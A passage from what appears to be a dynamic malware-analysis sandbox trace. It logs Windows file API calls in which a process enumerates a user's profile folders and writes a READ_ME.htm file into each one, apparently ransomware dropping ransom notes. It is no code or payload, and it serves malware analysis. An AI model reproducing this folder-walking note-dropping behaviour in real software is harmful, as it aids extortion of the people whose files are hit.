ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.496] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.496] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 1 [0149.496] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Deployment", cAlternateFileName="DEPLOY~1")) returned 0 [0149.496] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.496] SetErrorMode (uMode=0x0) returned 0x1 [0149.496] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java\\Deployment", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java\\Deployment", lpFilePart=0x0) returned 0x36 [0149.497] SetErrorMode (uMode=0x1) returned 0x0 [0149.497] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java\\Deployment\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\sun\\java\\deployment\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.497] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.497] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.498] SetErrorMode (uMode=0x0) returned 0x1 [0149.498] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java\\Deployment", nBufferLength=0x105, lpBuffer=0x21ce10, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java\\Deployment", lpFilePart=0x0) returned 0x36 [0149.498] SetErrorMode (uMode=0x1) returned 0x0 [0149.498] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java\\Deployment\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\sun\\java\\deployment\\*"), lpFindFileData=0x21cfb0 | out: lpFindFileData=0x21cfb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.498] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21cfc0 | out: lpFindFileData=0x21cfc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x48803cc0, ftCreationTime.dwHighDateTime=0x1d8c103, ftLastAccessTime.dwLowDateTime=0x48803cc0, ftLastAccessTime.dwHighDateTime=0x1d8c103, ftLastWriteTime.dwLowDateTime=0x48803cc0, ftLastWriteTime.dwHighDateTime=0x1d8c103, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0149.498] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.499] SetErrorMode (uMode=0x0) returned 0x1 [0149.499] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java\\Deployment\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ccb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java\\Deployment\\READ_ME.htm", lpFilePart=0x0) returned 0x42 [0149.499] SetErrorMode (uMode=0x1) returned 0x0 [0149.499] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java\\Deployment\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\sun\\java\\deployment\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.499] GetFileType (hFile=0x1d0) returned 0x1 [0149.500] SetErrorMode (uMode=0x0) returned 0x1 [0149.500] GetFileType (hFile=0x1d0) returned 0x1 [0149.500] WriteFile (in: hFile=0x1d0, lpBuffer=0x28615c8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d218, lpOverlapped=0x0 | out: lpBuffer=0x28615c8*, lpNumberOfBytesWritten=0x21d218*=0x720, lpOverlapped=0x0) returned 1 [0149.501] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java\\READ_ME.htm", lpFilePart=0x0) returned 0x37 [0149.501] SetErrorMode (uMode=0x1) returned 0x0 [0149.501] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\Java\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\sun\\java\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.503] GetFileType (hFile=0x1d0) returned 0x1 [0149.503] SetErrorMode (uMode=0x0) returned 0x1 [0149.503] GetFileType (hFile=0x1d0) returned 0x1 [0149.503] WriteFile (in: hFile=0x1d0, lpBuffer=0x2865b68*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2865b68*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0149.505] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\READ_ME.htm", lpFilePart=0x0) returned 0x32 [0149.505] SetErrorMode (uMode=0x1) returned 0x0 [0149.505] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Sun\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\sun\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.505] GetFileType (hFile=0x1d0) returned 0x1 [0149.506] SetErrorMode (uMode=0x0) returned 0x1 [0149.506] GetFileType (hFile=0x1d0) returned 0x1 [0149.506] WriteFile (in: hFile=0x1d0, lpBuffer=0x286a0f8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x286a0f8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0149.507] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\READ_ME.htm", lpFilePart=0x0) returned 0x2e [0149.507] SetErrorMode (uMode=0x1) returned 0x0 [0149.507] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.508] GetFileType (hFile=0x1d0) returned 0x1 [0149.508] SetErrorMode (uMode=0x0) returned 0x1 [0149.508] GetFileType (hFile=0x1d0) returned 0x1 [0149.508] WriteFile (in: hFile=0x1d0, lpBuffer=0x286e678*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x286e678*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0149.509] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\AppData\\READ_ME.htm", lpFilePart=0x0) returned 0x26 [0149.509] SetErrorMode (uMode=0x1) returned 0x0 [0149.510] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\AppData\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\appdata\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.510] GetFileType (hFile=0x1d0) returned 0x1 [0149.510] SetErrorMode (uMode=0x0) returned 0x1 [0149.510] GetFileType (hFile=0x1d0) returned 0x1 [0149.510] WriteFile (in: hFile=0x1d0, lpBuffer=0x2872bd8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2872bd8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0149.512] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Application Data", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Application Data", lpFilePart=0x0) returned 0x23 [0149.512] SetErrorMode (uMode=0x1) returned 0x0 [0149.512] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Application Data\\*" (normalized: "c:\\users\\keecfmwgj\\application data\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0149.514] SetErrorMode (uMode=0x0) returned 0x1 [0149.515] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Application Data\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Application Data\\READ_ME.htm", lpFilePart=0x0) returned 0x2f [0149.515] SetErrorMode (uMode=0x1) returned 0x0 [0149.515] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Application Data\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\application data\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.516] GetFileType (hFile=0x1d0) returned 0x1 [0149.516] SetErrorMode (uMode=0x0) returned 0x1 [0149.516] GetFileType (hFile=0x1d0) returned 0x1 [0149.517] WriteFile (in: hFile=0x1d0, lpBuffer=0x2878590*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2878590*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0149.518] CloseHandle (hObject=0x1d0) returned 1 [0149.518] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Contacts", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Contacts", lpFilePart=0x0) returned 0x1b [0149.518] SetErrorMode (uMode=0x1) returned 0x0 [0149.518] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Contacts\\*" (normalized: "c:\\users\\keecfmwgj\\contacts\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f6e20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.519] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f6e20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.519] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0149.519] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f9530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.519] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f9530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0149.520] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.520] SetErrorMode (uMode=0x0) returned 0x1 [0149.520] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Contacts", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Contacts", lpFilePart=0x0) returned 0x1b [0149.520] SetErrorMode (uMode=0x1) returned 0x0 [0149.520] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Contacts\\*" (normalized: "c:\\users\\keecfmwgj\\contacts\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f6e20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.521] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f6e20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.521] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xf0fefd94, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x10b1e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Administrator.contact", cAlternateFileName="ADMINI~1.CON")) returned 1 [0149.521] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f9530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0149.521] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x7996bf30, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x7996bf30, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x7e7f9530, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x19c, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0149.521] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0149.521] SetErrorMode (uMode=0x0) returned 0x1 [0149.521] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Contacts\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Contacts\\READ_ME.htm", lpFilePart=0x0) returned 0x27 [0149.522] SetErrorMode (uMode=0x1) returned 0x0 [0149.522] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Contacts\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\contacts\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.523] GetFileType (hFile=0x1d0) returned 0x1 [0149.523] SetErrorMode (uMode=0x0) returned 0x1 [0149.523] GetFileType (hFile=0x1d0) returned 0x1 [0149.523] WriteFile (in: hFile=0x1d0, lpBuffer=0x287e6b8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x287e6b8*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0149.525] CloseHandle (hObject=0x1d0) returned 1 [0149.525] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Cookies", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Cookies", lpFilePart=0x0) returned 0x1a [0149.525] SetErrorMode (uMode=0x1) returned 0x0 [0149.525] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Cookies\\*" (normalized: "c:\\users\\keecfmwgj\\cookies\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0149.538] SetErrorMode (uMode=0x0) returned 0x1 [0149.538] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Cookies\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Cookies\\READ_ME.htm", lpFilePart=0x0) returned 0x26 [0149.538] SetErrorMode (uMode=0x1) returned 0x0 [0149.539] CreateFileW (lpFileName="C:\\Users\\kEecfMwgj\\Cookies\\READ_ME.htm" (normalized: "c:\\users\\keecfmwgj\\cookies\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0149.540] GetFileType (hFile=0x1d0) returned 0x1 [0149.540] SetErrorMode (uMode=0x0) returned 0x1 [0149.540] GetFileType (hFile=0x1d0) returned 0x1 [0149.540] WriteFile (in: hFile=0x1d0, lpBuffer=0x2883ff0*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d518, lpOverlapped=0x0 | out: lpBuffer=0x2883ff0*, lpNumberOfBytesWritten=0x21d518*=0x720, lpOverlapped=0x0) returned 1 [0149.542] CloseHandle (hObject=0x1d0) returned 1 [0149.542] GetFullPathNameW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\kEecfMwgj\\Desktop", lpFilePart=0x0) returned 0x1a [0149.542] SetErrorMode (uMode=0x1) returned 0x0 [0149.543] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\Desktop\\*" (normalized: "c:\\users\\keecfmwgj\\desktop\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2e1da180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x2e1da180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0149.543] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x794f55f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x2e1da180, ftLastAccessTime.dwHighDateTime=0x1d8ceb2, ftLastWriteTime.dwLowDateTime=0x2e1da180, ftLastWriteTime.dwHighDateTime=0x1d8ceb2, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0149.543] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfb7185b0, ftCreationTime.dwHighDateTime=0x1d8b356, ftLastAccessTime.dwLowDateTime=0x1d6bafa0, ftLastAccessTime.dwHighDateTime=0x1d8b574, ftLastWriteTime.dwLowDateTime=0x1d6bafa0, ftLastWriteTime.dwHighDateTime=0x1d8b574, nFileSizeHigh=0x0, nFileSizeLow=0xb4f2, dwReserved0=0x0, dwReserved1=0x0, cFileName="2cv2SOe1 I9uauDzSR0.wav", cAlternateFileName="2CV2SO~1.WAV")) returned 1 [0149.543] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: 